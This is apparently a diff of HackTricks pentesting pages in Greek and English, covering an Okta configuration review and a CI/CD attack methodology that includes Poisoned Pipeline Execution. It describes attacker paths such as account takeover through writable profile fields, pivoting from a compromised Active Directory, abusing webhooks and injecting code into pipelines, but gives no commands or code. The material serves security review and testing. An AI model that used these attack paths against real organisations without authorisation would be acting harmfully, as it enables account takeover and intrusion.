Για μια ανασκόπηση whitebox ελέγξτε ότι δεν υπάρχουν πολλές "**Εκκρεμείς ενέργειες χρήστη**" και "**Επαναφορά κωδικού πρόσβασης**".
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
### Groups
Εδώ θα βρείτε όλες τις δημιουργημένες ομάδες στο Okta. Είναι ενδιαφέρον να κατανοήσετε τις διαφορετικές ομάδες (σύνολο **δικαιωμάτων**) που θα μπορούσαν να παραχωρηθούν σε **χρήστες**.\
Είναι δυνατόν να δείτε τους **ανθρώπους που περιλαμβάνονται σε ομάδες** και τις **εφαρμογές που έχουν ανατεθεί** σε κάθε ομάδα.
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
It's possible to see the **people included inside groups** and **apps assigned** to each group.
Φυσικά, οποιαδήποτε ομάδα με το όνομα **admin** είναι ενδιαφέρουσα, ειδικά η ομάδα **Global Administrators**, ελέγξτε τα μέλη για να μάθετε ποιοι είναι οι πιο προνομιούχοι.
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
Από μια ανασκόπηση whitebox, δεν **θα πρέπει να υπάρχουν περισσότερα από 5 παγκόσμιοι διαχειριστές** (καλύτερα αν υπάρχουν μόνο 2 ή 3).
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
### Devices
Βρείτε εδώ μια **λίστα με όλες τις συσκευές** όλων των χρηστών. Μπορείτε επίσης να δείτε αν διαχειρίζεται **ενεργά** ή όχι.
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
### Profile Editor
Εδώ είναι δυνατόν να παρατηρήσετε πώς οι βασικές πληροφορίες όπως τα ονόματα, τα επώνυμα, τα email, τα ονόματα χρήστη... μοιράζονται μεταξύ του Okta και άλλων εφαρμογών. Αυτό είναι ενδιαφέρον γιατί αν ένας χρήστης μπορεί να **τροποποιήσει στο Okta ένα πεδίο** (όπως το όνομά του ή το email) που στη συνέχεια χρησιμοποιείται από μια **εξωτερική εφαρμογή** για να **ταυτοποιήσει** τον χρήστη, ένας εσωτερικός χρήστης θα μπορούσε να προσπαθήσει να **αναλάβει άλλους λογαριασμούς**.
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
Επιπλέον, στο προφίλ **`User (default)`** από το Okta μπορείτε να δείτε **ποια πεδία** έχει κάθε **χρήστης** και ποια είναι **γραπτά** από τους χρήστες. Αν δεν μπορείτε να δείτε τον πίνακα διαχείρισης, απλώς μεταβείτε για να **ενημερώσετε τις πληροφορίες του προφίλ** σας και θα δείτε ποια πεδία μπορείτε να ενημερώσετε (σημειώστε ότι για να ενημερώσετε μια διεύθυνση email θα χρειαστεί να την επιβεβαιώσετε).
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
### Directory Integrations
Οι καταλόγοι σας επιτρέπουν να εισάγετε άτομα από υπάρχουσες πηγές. Υποθέτω ότι εδώ θα δείτε τους χρήστες που εισάγονται από άλλους καταλόγους.
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
Δεν το έχω δει, αλλά υποθέτω ότι αυτό είναι ενδιαφέρον για να ανακαλύψετε **άλλους καταλόγους που χρησιμοποιεί το Okta για να εισάγει χρήστες** ώστε αν **συμβιβάσετε αυτόν τον κατάλογο** να μπορείτε να ορίσετε κάποιες τιμές χαρακτηριστικών στους χρήστες που δημιουργούνται στο Okta και **ίσως να συμβιβάσετε το περιβάλλον του Okta**.
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
### Profile Sources
Μια πηγή προφίλ είναι μια **εφαρμογή που λειτουργεί ως πηγή αλήθειας** για τα χαρακτηριστικά του προφίλ χρήστη. Ένας χρήστης μπορεί να προέρχεται μόνο από μία εφαρμογή ή κατάλογο τη φορά.
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
Δεν το έχω δει, οπότε οποιαδήποτε πληροφορία σχετικά με την ασφάλεια και την hacking σχετικά με αυτή την επιλογή είναι ευπρόσδεκτη.
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
## Customizations
### Brands
Ελέγξτε στην καρτέλα **Domains** αυτής της ενότητας τις διευθύνσεις email που χρησιμοποιούνται για την αποστολή email και το προσαρμοσμένο domain μέσα στο Okta της εταιρείας (το οποίο πιθανώς ήδη γνωρίζετε).
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
Επιπλέον, στην καρτέλα **Setting**, αν είστε διαχειριστής, μπορείτε να "**Χρησιμοποιήσετε μια προσαρμοσμένη σελίδα αποσύνδεσης**" και να ορίσετε μια προσαρμοσμένη διεύθυνση URL.
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
### SMS
Τίποτα ενδιαφέρον εδώ.
Nothing interesting here.
### End-User Dashboard
Μπορείτε να βρείτε εδώ τις εφαρμογές που έχουν ρυθμιστεί, αλλά θα δούμε τις λεπτομέρειες αυτών αργότερα σε μια διαφορετική ενότητα.
You can find here applications configured, but we will see the details of those later in a different section.
### Other
Ενδιαφέρουσα ρύθμιση, αλλά τίποτα υπερβολικά ενδιαφέρον από άποψη ασφάλειας.
Interesting setting, but nothing super interesting from a security point of view.
## Applications
### Applications
Εδώ μπορείτε να βρείτε όλες τις **ρυθμισμένες εφαρμογές** και τις λεπτομέρειές τους: Ποιος έχει πρόσβαση σε αυτές, πώς είναι ρυθμισμένες (SAML, OpenID), URL για σύνδεση, οι αντιστοιχίσεις μεταξύ του Okta και της εφαρμογής...
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
Στην καρτέλα **`Sign On`** υπάρχει επίσης ένα πεδίο που ονομάζεται **`Password reveal`** που θα επιτρέπει σε έναν χρήστη να **αποκαλύψει τον κωδικό πρόσβασής** του όταν ελέγχει τις ρυθμίσεις της εφαρμογής. Για να ελέγξετε τις ρυθμίσεις μιας εφαρμογής από τον Πίνακα Χρηστών, κάντε κλικ στις 3 τελείες:
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
Και θα μπορούσατε να δείτε μερικές περισσότερες λεπτομέρειες σχετικά με την εφαρμογή (όπως τη δυνατότητα αποκάλυψης κωδικού πρόσβασης, αν είναι ενεργοποιημένη):
And you could see some more details about the app (like the password reveal feature, if it's enabled):
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
@@ -79,121 +79,124 @@
### Access Certifications
Χρησιμοποιήστε τις Πιστοποιήσεις Πρόσβασης για να δημιουργήσετε εκστρατείες ελέγχου για να αναθεωρήσετε την πρόσβαση των χρηστών σας σε πόρους περιοδικά και να εγκρίνετε ή να ανακαλέσετε την πρόσβαση αυτόματα όταν απαιτείται.
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
Δεν το έχω δει να χρησιμοποιείται, αλλά υποθέτω ότι από αμυντική άποψη είναι μια ωραία δυνατότητα.
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
## Security
### General
- **Emails ειδοποίησης ασφαλείας**: Όλα θα πρέπει να είναι ενεργοποιημένα.
- **Ενσωμάτωση CAPTCHA**: Συνιστάται να ρυθμίσετε τουλάχιστον το αόρατο reCaptcha
- **Ασφάλεια Οργάνωσης**: Όλα μπορούν να ενεργοποιηθούν και τα email ενεργοποίησης δεν θα πρέπει να διαρκούν πολύ (7 ημέρες είναι εντάξει)
- **Πρόληψη καταμέτρησης χρηστών**: Και τα δύο θα πρέπει να είναι ενεργοποιημένα
- Σημειώστε ότι η Πρόληψη Καταμέτρησης Χρηστών δεν ισχύει αν επιτρέπεται οποιαδήποτε από τις παρακάτω συνθήκες (Δείτε [Διαχείριση χρηστών](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) για περισσότερες πληροφορίες):
- Αυτοεξυπηρέτηση Εγγραφής
- Ροές JIT με αυθεντικοποίηση email
- **Ρυθμίσεις Okta ThreatInsight**: Καταγράψτε και επιβάλετε ασφάλεια με βάση το επίπεδο απειλής
- **Security notification emails**: All should be enabled.
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
- **User enumeration prevention**: Both should be enabled
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- Self-Service Registration
- JIT flows with email authentication
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
### HealthInsight
Εδώ είναι δυνατόν να βρείτε σωστά και **επικίνδυνα** ρυθμισμένα **settings**.
Here is possible to find correctly and **dangerous** configured **settings**.
### Authenticators
Εδώ μπορείτε να βρείτε όλες τις μεθόδους αυθεντικοποίησης που θα μπορούσε να χρησιμοποιήσει ένας χρήστης: Κωδικός πρόσβασης, τηλέφωνο, email, κωδικός, WebAuthn... Κάνοντας κλικ στον αυθεντικοποιητή Κωδικού πρόσβασης μπορείτε να δείτε την **πολιτική κωδικού πρόσβασης**. Ελέγξτε ότι είναι ισχυρή.
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
Στην καρτέλα **Enrollment** μπορείτε να δείτε πώς είναι οι απαιτούμενες ή προαιρετικές:
In the **Enrollment** tab you can see how the ones that are required or optinal:
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
Συνιστάται να απενεργοποιήσετε το τηλέφωνο. Οι πιο ισχυρές είναι πιθανώς ένας συνδυασμός κωδικού πρόσβασης, email και WebAuthn.
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
### Authentication policies
Κάθε εφαρμογή έχει μια πολιτική αυθεντικοποίησης. Η πολιτική αυθεντικοποίησης επαληθεύει ότι οι χρήστες που προσπαθούν να συνδεθούν στην εφαρμογή πληρούν συγκεκριμένες προϋποθέσεις και επιβάλλει απαιτήσεις παραγόντων με βάση αυτές τις προϋποθέσεις.
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
Εδώ μπορείτε να βρείτε τις **απαιτήσεις για πρόσβαση σε κάθε εφαρμογή**. Συνιστάται να ζητήσετε τουλάχιστον κωδικό πρόσβασης και άλλη μέθοδο για κάθε εφαρμογή. Αλλά αν ως επιτιθέμενος βρείτε κάτι πιο αδύναμο μπορεί να είστε σε θέση να το επιτεθείτε.
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
### Global Session Policy
Εδώ μπορείτε να βρείτε τις πολιτικές συνεδρίας που έχουν ανατεθεί σε διαφορετικές ομάδες. Για παράδειγμα:
Here you can find the session policies assigned to different groups. For example:
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
Συνιστάται να ζητήσετε MFA, να περιορίσετε τη διάρκεια της συνεδρίας σε μερικές ώρες, να μην διατηρείτε cookies συνεδρίας σε επεκτάσεις προγράμματος περιήγησης και να περιορίσετε την τοποθεσία και τον Παροχέα Ταυτότητας (αν αυτό είναι δυνατό). Για παράδειγμα, αν κάθε χρήστης θα πρέπει να συνδεθεί από μια χώρα, θα μπορούσατε να επιτρέψετε μόνο αυτή την τοποθεσία.
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
### Identity Providers
Οι Παροχείς Ταυτότητας (IdPs) είναι υπηρεσίες που **διαχειρίζονται λογαριασμούς χρηστών**. Η προσθήκη IdPs στο Okta επιτρέπει στους τελικούς χρήστες σας να **εγγραφούν μόνοι τους** με τις προσαρμοσμένες εφαρμογές σας πρώτα αυθεντικοποιώντας με έναν κοινωνικό λογαριασμό ή μια έξυπνη κάρτα.
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
Στη σελίδα Παροχών Ταυτότητας, μπορείτε να προσθέσετε κοινωνικές συνδέσεις (IdPs) και να ρυθμίσετε το Okta ως πάροχο υπηρεσιών (SP) προσθέτοντας εισερχόμενο SAML. Αφού προσθέσετε IdPs, μπορείτε να ρυθμίσετε κανόνες δρομολόγησης για να κατευθύνετε τους χρήστες σε έναν IdP με βάση το πλαίσιο, όπως η τοποθεσία του χρήστη, η συσκευή ή το domain email.
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
**Αν οποιοσδήποτε πάροχος ταυτότητας είναι ρυθμισμένος** από την οπτική γωνία επιτιθέμενου και αμυντικού ελέγξτε αυτή τη ρύθμιση και **αν η πηγή είναι πραγματικά αξιόπιστη** καθώς ένας επιτιθέμενος που τον συμβιβάσει θα μπορούσε επίσης να αποκτήσει πρόσβαση στο περιβάλλον του Okta.
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
### Delegated Authentication
Η εξουσιοδότηση μέσω αντιπροσώπου επιτρέπει στους χρήστες να συνδέονται στο Okta εισάγοντας διαπιστευτήρια για τον **Active Directory (AD) ή LDAP** server της οργάνωσής τους.
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
Και πάλι, ελέγξτε αυτό, καθώς ένας επιτιθέμενος που συμβιβάσει τον AD μιας οργάνωσης θα μπορούσε να είναι σε θέση να μεταπηδήσει στο Okta χάρη σε αυτή τη ρύθμιση.
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
### Network
Μια ζώνη δικτύου είναι ένα ρυθμιζόμενο όριο που μπορείτε να χρησιμοποιήσετε για να **παρέχετε ή να περιορίσετε την πρόσβαση σε υπολογιστές και συσκευές** στην οργάνωσή σας με βάση τη **διεύθυνση IP** που ζητά πρόσβαση. Μπορείτε να ορίσετε μια ζώνη δικτύου καθορίζοντας μία ή περισσότερες μεμονωμένες διευθύνσεις IP, εύρη διευθύνσεων IP ή γεωγραφικές τοποθεσίες.
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
Αφού ορίσετε μία ή περισσότερες ζώνες δικτύου, μπορείτε να **τις χρησιμοποιήσετε σε Παγκόσμιες Πολιτικές Συνεδρίας**, **πολιτικές αυθεντικοποίησης**, ειδοποιήσεις VPN και **κανόνες δρομολόγησης**.
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
Από την οπτική γωνία ενός επιτιθέμενου είναι ενδιαφέρον να γνωρίζετε ποιες IPs επιτρέπονται (και να ελέγξετε αν οποιαδήποτε **IPs είναι πιο προνομιούχες** από άλλες). Από την οπτική γωνία ενός επιτιθέμενου, αν οι χρήστες θα πρέπει να έχουν πρόσβαση από μια συγκεκριμένη διεύθυνση IP ή περιοχή ελέγξτε ότι αυτή η δυνατότητα χρησιμοποιείται σωστά.
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
### Device Integrations
- **Διαχείριση Τερματικών**: Η διαχείριση τερματικών είναι μια προϋπόθεση που μπορεί να εφαρμοστεί σε μια πολιτική αυθεντικοποίησης για να διασφαλιστεί ότι οι διαχειριζόμενες συσκευές έχουν πρόσβαση σε μια εφαρμογή.
- Δεν το έχω δει να χρησιμοποιείται ακόμα. TODO
- **Υπηρεσίες ειδοποίησης**: Δεν το έχω δει να χρησιμοποιείται ακόμα. TODO
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- I haven't seen this used yet. TODO
- **Notification services**: I haven't seen this used yet. TODO
### API
Μπορείτε να δημιουργήσετε tokens API Okta σε αυτή τη σελίδα και να δείτε αυτά που έχουν **δημιουργηθεί**, τα **δικαιώματα** τους, τον **χρόνο λήξης** και τις **διευθύνσεις προέλευσης**. Σημειώστε ότι τα tokens API δημιουργούνται με τα δικαιώματα του χρήστη που δημιούργησε το token και είναι έγκυρα μόνο αν ο **χρήστης** που τα δημιούργησε είναι **ενεργός**.
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
Οι **Εμπιστευμένες Προελεύσεις** παρέχουν πρόσβαση σε ιστότοπους που ελέγχετε και εμπιστεύεστε για να αποκτήσετε πρόσβαση στην οργάνωση Okta μέσω του API Okta.
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
Δεν θα πρέπει να υπάρχουν πολλά tokens API, καθώς αν υπάρχουν, ένας επιτιθέμενος θα μπορούσε να προσπαθήσει να τα αποκτήσει και να τα χρησιμοποιήσει.
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
## Workflow
### Automations
Οι αυτοματισμοί σας επιτρέπουν να δημιουργείτε αυτοματοποιημένες ενέργειες που εκτελούνται με βάση ένα σύνολο συνθηκών ενεργοποίησης που συμβαίνουν κατά τη διάρκεια του κύκλου ζωής των τελικών χρηστών.
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
Για παράδειγμα, μια συνθήκη θα μπορούσε να είναι "Αδράνεια χρήστη στο Okta" ή "Λήξη κωδικού πρόσβασης χρήστη στο Okta" και η ενέργεια θα μπορούσε να είναι "Αποστολή email στον χρήστη" ή "Αλλαγή κατάστασης κύκλου ζωής χρήστη στο Okta".
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
## Reports
### Reports
Κατεβάστε τα logs. Αποστέλλονται στη **διεύθυνση email** του τρέχοντος λογαριασμού.
Download logs. They are **sent** to the **email address** of the current account.
### System Log
Εδώ μπορείτε να βρείτε τα **logs των ενεργειών που εκτελούνται από τους χρήστες** με πολλές λεπτομέρειες όπως η σύνδεση στο Okta ή σε εφαρμογές μέσω του Okta.
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
### Import Monitoring
Αυτό μπορεί να **εισάγει logs από άλλες πλατφόρμες** που προσπελάστηκαν με το Okta.
This can **import logs from the other platforms** accessed with Okta.
### Rate limits
Ελέγξτε τα όρια ρυθμού API που έχουν επιτευχθεί.
Check the API rate limits reached.
## Settings
### Account
Εδώ μπορείτε να βρείτε **γενικές πληροφορίες** σχετικά με το περιβάλλον του Okta, όπως το όνομα της εταιρείας, τη διεύθυνση, τον **επαφή τιμολόγησης email**, τον **τεχνικό επαφή email** και επίσης ποιος θα πρέπει να λαμβάνει ενημερώσεις Okta και ποιο είδος ενημερώσεων Okta.
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
### Downloads
Εδώ μπορείτε να κατεβάσετε τους πράκτορες Okta για να συγχρονίσετε το Okta με άλλες τεχνολογίες.
Here you can download Okta agents to sync Okta with other technologies.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Μεθοδολογία
# Pentesting CI/CD Methodology
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS σημαίνει **Σύστημα Ελέγχου Εκδόσεων (Version Control System)**, αυτό το σύστημα επιτρέπει στους προγραμματιστές να **διαχειρίζονται τον πηγαίο κώδικα τους**. Ο πιο κοινός είναι **git** και συνήθως θα βρείτε εταιρείες να το χρησιμοποιούν σε μία από τις ακόλουθες **πλατφόρμες**:
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
- Github
- Gitlab
@@ -18,93 +18,86 @@ VCS σημαίνει **Σύστημα Ελέγχου Εκδόσεων (Version C
## CI/CD Pipelines
Τα CI/CD pipelines επιτρέπουν στους προγραμματιστές να **αυτοματοποιούν την εκτέλεση κώδικα** για διάφορους σκοπούς, συμπεριλαμβανομένου του build, των tests και της ανάπτυξης εφαρμογών. Αυτά τα αυτοματοποιημένα workflows **ενεργοποιούνται από συγκεκριμένες ενέργειες**, όπως code pushes, pull requests ή προγραμματισμένες εργασίες. Είναι χρήσιμα για να απλοποιούν τη διαδικασία από το development μέχρι το production.
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
Ωστόσο, αυτά τα συστήματα πρέπει να **εκτελούνται κάπου** και συνήθως με **privileged credentials για να deploy-άρουν κώδικα ή να έχουν πρόσβαση σε sensitive information**.
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
## VCS Pentesting Μεθοδολογία
## VCS Pentesting Methodology
> [!NOTE]
> Ακόμα κι αν μερικές VCS πλατφόρμες επιτρέπουν τη δημιουργία pipelines, σε αυτή την ενότητα θα αναλύσουμε μόνο πιθανούς επιθέσεις στον έλεγχο του πηγαίου κώδικα.
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
Οι πλατφόρμες που περιέχουν τον πηγαίο κώδικα του έργου σας περιέχουν ευαίσθητες πληροφορίες και πρέπει να είστε πολύ προσεκτικοί με τα permissions που δίνονται μέσα σε αυτή την πλατφόρμα. Αυτά είναι μερικά κοινά προβλήματα στις VCS πλατφόρμες που ένας attacker θα μπορούσε να εκμεταλλευτεί:
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
- **Leaks**: Αν ο κώδικάς σας περιέχει leaks στα commits και ο attacker μπορεί να έχει πρόσβαση στο repo (επειδή είναι public ή επειδή έχει πρόσβαση), θα μπορούσε να ανακαλύψει αυτά τα leaks.
- **Access**: Αν ένας attacker μπορεί να **έχει πρόσβαση σε έναν λογαριασμό μέσα στην VCS platform** θα μπορούσε να αποκτήσει **μεγαλύτερη ορατότητα και permissions**.
- **Register**: Κάποιες πλατφόρμες απλά επιτρέπουν σε εξωτερικούς χρήστες να δημιουργήσουν account.
- **SSO**: Κάποιες πλατφόρμες δεν επιτρέπουν registration, αλλά επιτρέπουν σε οποιονδήποτε να μπει με έγκυρο SSO (οπότε ένας attacker θα μπορούσε να χρησιμοποιήσει το github account του για παράδειγμα).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... υπάρχουν διάφοροι τύποι tokens που ένας χρήστης θα μπορούσε να κλέψει για να αποκτήσει με κάποιον τρόπο πρόσβαση σε ένα repo.
- **Webhooks**: Οι VCS πλατφόρμες επιτρέπουν τη δημιουργία webhooks. Αν δεν είναι **προστατευμένα** με μη ορατά secrets ένας **attacker θα μπορούσε να τα εκμεταλλευτεί**.
- Αν δεν υπάρχει κάποιο secret, ο attacker θα μπορούσε να εκμεταλλευτεί το webhook της τρίτης πλατφόρμας
- Αν το secret είναι στο URL, το ίδιο συμβαίνει και ο attacker αποκτά επίσης το secret
- **Code compromise:** Αν ένας κακόβουλος actor έχει κάποιο είδος **write** πρόσβασης πάνω στα repos, θα μπορούσε να προσπαθήσει να **inject malicious code**. Για να έχει επιτυχία ίσως χρειαστεί να **bypass branch protections**. Αυτές οι ενέργειες μπορούν να γίνουν με διαφορετικούς στόχους στη μέση:
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- **Register**: Some platforms will just allow external users to create an account.
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- Compromise the main branch to **compromise production**.
- Compromise the main (or other branches) to **compromise developers machines** (καθώς συνήθως εκτελούν tests, terraform ή άλλα πράγματα μέσα στο repo στους υπολογιστές τους).
- **Compromise the pipeline** (check next section)
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- **Compromise the pipeline** (check next section)
## Pipelines Pentesting Μεθοδολογία
## Pipelines Pentesting Methodology
Ο πιο κοινός τρόπος να οριστεί ένα pipeline είναι με τη χρήση ενός **CI configuration file που φιλοξενείται στο repository** που το pipeline θα χτίσει. Αυτό το αρχείο περιγράφει τη σειρά των jobs που θα εκτελεστούν, τις συνθήκες που επηρεάζουν τη ροή και τις ρυθμίσεις του περιβάλλοντος build.\
Αυτά τα αρχεία συνήθως έχουν ένα σταθερό όνομα και format, για παράδειγμα — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) και τα GitHub Actions YAML αρχεία που βρίσκονται κάτω από .github/workflows. Όταν ενεργοποιηθεί, το pipeline job **τραβάει τον κώδικα** από την επιλεγμένη πηγή (π.χ. commit / branch), και **εκτελεί τις εντολές που καθορίζονται στο CI configuration file** πάνω σε αυτόν τον κώδικα.
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
Επομένως ο τελικός στόχος του attacker είναι με κάποιον τρόπο να **compromise αυτά τα configuration files** ή τις **εντολές που εκτελούν**.
> [!TIP]
> Κάποιοι hosted builders επιτρέπουν σε contributors να επιλέξουν το Docker build context και το Dockerfile path. Αν το context είναι υπό τον έλεγχο του attacker, μπορείτε να το ορίσετε εκτός του repo (π.χ., "..") για να εισάγετε αρχεία του host κατά τη διάρκεια του build και να εξάγετε secrets. Δείτε:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
### PPE - Poisoned Pipeline Execution
Η Poisoned Pipeline Execution (PPE) διαδρομή εκμεταλλεύεται permissions σε ένα SCM repository για να χειραγωγήσει ένα CI pipeline και να εκτελέσει κακόβουλες εντολές. Χρήστες με τα απαραίτητα permissions μπορούν να τροποποιήσουν CI configuration files ή άλλα αρχεία που χρησιμοποιεί το pipeline job για να συμπεριλάβουν κακόβουλες εντολές. Αυτό "δηλητηριάζει" το CI pipeline, οδηγώντας στην εκτέλεση αυτών των κακόβουλων εντολών.
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
Για να έχει επιτυχία ένας malicious actor εκτελώντας μια PPE επίθεση χρειάζεται να μπορεί να:
For a malicious actor to be successful performing a PPE attack he needs to be able to:
- Έχει **write access στο VCS platform**, καθώς συνήθως τα pipelines ενεργοποιούνται όταν γίνει push ή δημιουργηθεί pull request. (Δείτε τη VCS pentesting methodology για περίληψη των τρόπων απόκτησης πρόσβασης).
- Σημειώστε ότι μερικές φορές ένα **external PR μετράει ως "write access"**.
- Ακόμα κι αν έχει write permissions, πρέπει να είναι σίγουρος ότι μπορεί να **τροποποιήσει το CI config file ή άλλα αρχεία που το config βασίζεται**.
- Για αυτό, ίσως χρειαστεί να είναι σε θέση να **bypass branch protections**.
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- Note that sometimes an **external PR count as "write access"**.
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- For this, he might need to be able to **bypass branch protections**.
Υπάρχουν 3 flavours της PPE:
There are 3 PPE flavours:
- **D-PPE**: Μια **Direct PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί το CI config** αρχείο που πρόκειται να εκτελεστεί.
- **I-DDE**: Μια **Indirect PPE** επίθεση συμβαίνει όταν ο actor **τροποποιεί** ένα **αρχείο** από το οποίο το CI config αρχείο που πρόκειται να εκτελεστεί **εξαρτάται** (όπως ένα make file ή μια terraform config).
- **Public PPE or 3PE**: Σε μερικές περιπτώσεις τα pipelines μπορούν να **ενεργοποιηθούν από χρήστες που δεν έχουν write access στο repo** (και που μπορεί να μην είναι καν μέλη της οργάνωσης) επειδή μπορούν να στείλουν ένα PR.
